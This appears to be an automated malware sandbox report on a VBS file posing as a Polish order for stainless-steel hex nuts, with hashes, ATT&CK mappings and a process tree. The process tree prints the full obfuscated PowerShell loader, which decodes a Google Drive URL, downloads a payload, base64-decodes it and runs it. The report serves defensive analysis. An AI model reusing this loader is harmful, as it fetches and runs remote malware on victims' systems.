2cf1a145fb5b1ecde15d629a110ae872502c4d5fe99d0dbb912e91b8aae8aef0

General

Target

2000 szt. Nakrętek sześciokątnych rozmiar 1-2” ze stali nierdzewnej 347.vbs
Size

4KB
MD5

219107db2364ee8fd93ee4b48b43d184
SHA1

c200f76a1aee1d049b164ada2d13b070d0c6652b
SHA256

86e2c1f91f3dfb26838852ce2d1fb40c707375b823e6159910ec81486f5a6f25
SHA512

d3f8aa8a03b6594017bbc58bc0a35a02a4c98acb9374aa2ece96da6a6b06c966b23412060af8307a1215902517fd24cbf0960600d4c56a0c3d46365a72f6e919
SSDEEP

96:QKSPabyxLUmU12W7vB/de+8BlaEL7sLkmV+F5SnRSszmcaDQChSAGfp:QpUy6mU150B4ELUkQ+nwRBmcfChSHfp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2908 powershell.exe
7 2908 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
5 drive.google.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2908 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2908 powershell.exe

flow	pid	process
5	2908	powershell.exe
7	2908	powershell.exe

flow	ioc
4	drive.google.com
5	drive.google.com

pid	process
2908	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2832 wrote to memory of 2908	2832	WScript.exe	powershell.exe
PID 2832 wrote to memory of 2908	2832	WScript.exe	powershell.exe
PID 2832 wrote to memory of 2908	2832	WScript.exe	powershell.exe
PID 2908 wrote to memory of 2564	2908	powershell.exe	cmd.exe
PID 2908 wrote to memory of 2564	2908	powershell.exe	cmd.exe
PID 2908 wrote to memory of 2564	2908	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2000 szt. Nakrętek sześciokątnych rozmiar 1-2” ze stali nierdzewnej 347.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Shelducks = 1;$Smagfuldest='Sub';$Smagfuldest+='strin';$Smagfuldest+='g';Function Skovfogedblets($Pourparty){$Doloress=$Pourparty.Length-$Shelducks;For($sliphouse=1;$sliphouse -lt $Doloress;$sliphouse+=2){$Udtagnes+=$Pourparty.$Smagfuldest.Invoke( $sliphouse, $Shelducks);}$Udtagnes;}function Proudful($Grivation168){& ($udrrende) ($Grivation168);}$Papaver=Skovfogedblets ',M o zDiHl lHaU/.5A. 0 L(CWFiKn dAoBw s. SNUTE 1 0B.T0 ;. ,W,i,n 6A4r; TxE6M4 ;V CrIv :M1.2 1,.L0 ) G,eKc,k oO/C2V0 1.0.0F1 0D1 TFDi rfeCf.o xH/.1C2 1..F0 ';$Ungarnsrejsen=Skovfogedblets ',UFsNeSrS- Akg eCn,t ';$Urtekosts=Skovfogedblets ' hSt t.p.s : /A/Dd,roi v,e .TgFoEoFgBl ef. c,o,m /,u cT?ke xfp o.rEtS= d,oPw.n l oRa.d & i dG=T1 ETo KRx Q,4 F rSc,UEURYCR pTYSS y,qspA3 oUu cSl EG2DP.O vOm,yDB. ';$Hariets=Skovfogedblets 'H> ';$udrrende=Skovfogedblets 'OiKeUx ';$Chrematheism='reproduktionen';$aflsningsopgavernes = Skovfogedblets ' eDcUhMo %,a pHp,d.a tPa.% \ CMoBnTc hAi fSo rAm,. GTrSa ,&N&B IePc h,oE Rt. ';Proudful (Skovfogedblets 'T$ g lSo b aPl :UR,eCsFeHr vBa,tAiFoBnJs,s lCi pS=B(mc.mRd h/Mc R$LaTfElRsUnEiBn.g s o pCg.anv eMrFnOeTsP). ');Proudful (Skovfogedblets 'C$ gUlKoKbaaVl :sSSkPr uOeUg.a nGgKs,h jJdEeSnL=S$ U,rOtGeCkJo.sRt.s.. sMp lJi tp(,$EH a.r iTeStKs )E ');$Urtekosts=$Skruegangshjden[0];$Dyrekontrollen= (Skovfogedblets 'A$,gRl.o.bTa,lX:KU n aUu,= NOe wE-AO b,jKeScKt AS,yIs.t e m,..N eTtS.SWBebb CRl i e,n t');$Dyrekontrollen+=$Reservationsslip[1];Proudful ($Dyrekontrollen);Proudful (Skovfogedblets 's$.U nCa u,.IH eNaBd e,r s [ $HU nRgBa,rDn s rGe jLs.e nS] =T$ P aApBa vTe rP ');$rentless=Skovfogedblets 'E$ U n aAu ..D o wAn,lLoIaVdDF ibl eE(A$MU r t e k,o.s.tBs.,.$ j i.a.oU)P ';$jiao=$Reservationsslip[0];Proudful (Skovfogedblets 'R$vg.l,o b,aNl :RP h o t e o,l,i,cS=U(,TIeOs tC-SPSaBtIh V$Uj,iAaGo )A ');while (!$Photeolic) {Proudful (Skovfogedblets 'S$Pg l o bEa lE:OB.e g uPnVsStSiUgIeBl s eGr.s =W$ t rAuPeB ') ;Proudful $rentless;Proudful (Skovfogedblets ',SKtHa r,tT-ASSlUeFe.pN ,4 ');Proudful (Skovfogedblets 'S$HgKlFo bta l,:UP hBoStAepoSl iMcI= (YT.eAsPtF-SP a tPh c$,j iSaCoR) ') ;Proudful (Skovfogedblets ' $ gPl,oPb.aOl.: C,lWiGmCa tBe.s.= $SgSlsoPb,aOl.: U nKmBoCnFoPp o,l.iDz,eS+O+ %.$NSKkKr u,eBgTa nUg s hAjVd ennS.,cBo uFn t. ') ;$Urtekosts=$Skruegangshjden[$Climates];}$arain=327578;$Hugormebiddenes=25295;Proudful (Skovfogedblets ' $UgPl o,bCa l.:TEFlPeWc tarCe sUsK ,=. G e.t - C oOn tFeCn,tF $Bj i a o ');Proudful (Skovfogedblets ',$ gJlYo b.a l : NSe dCj,uMsStKrEiSrB S=L .[,SFyAs.t,eSm,. CToMn,v e rRtB] : : FAr o.m BMaSs,e 6E4PSLt r i n.gO(,$.EClKe cPtFrKetsUsm) ');Proudful (Skovfogedblets ' $Bg,l o,bSa,l :ML.iAn,d e nFd e A= J[BS yCsEtQeSmA.fT.e x tP. E nVc,oCd iKn.gT] :,: A SCCEIFI,.DGUeTt S,t r i,nHgU( $ N e,dNj,u shtTrAiHr ). ');Proudful (Skovfogedblets ',$ gGl,o bIaSl :GAEpRoHt.h e c avr c.aGr,ire s =c$ L i n,d.eSnAdPeA.PsLuOb,s t,rAi.n g,(F$SaXrsaIiSnR,T$CH,u.gSoOrUmpeBbCi.d.d eKnDe sR). ');Proudful $Apothecarcaries;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Conchiform.Gra && echo t"
    3⤵
    PID:2564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2908-4-0x000007FEF559E000-0x000007FEF559F000-memory.dmp

Filesize
4KB

Download
memory/2908-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2908-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2908-7-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-8-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-9-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-10-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-13-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing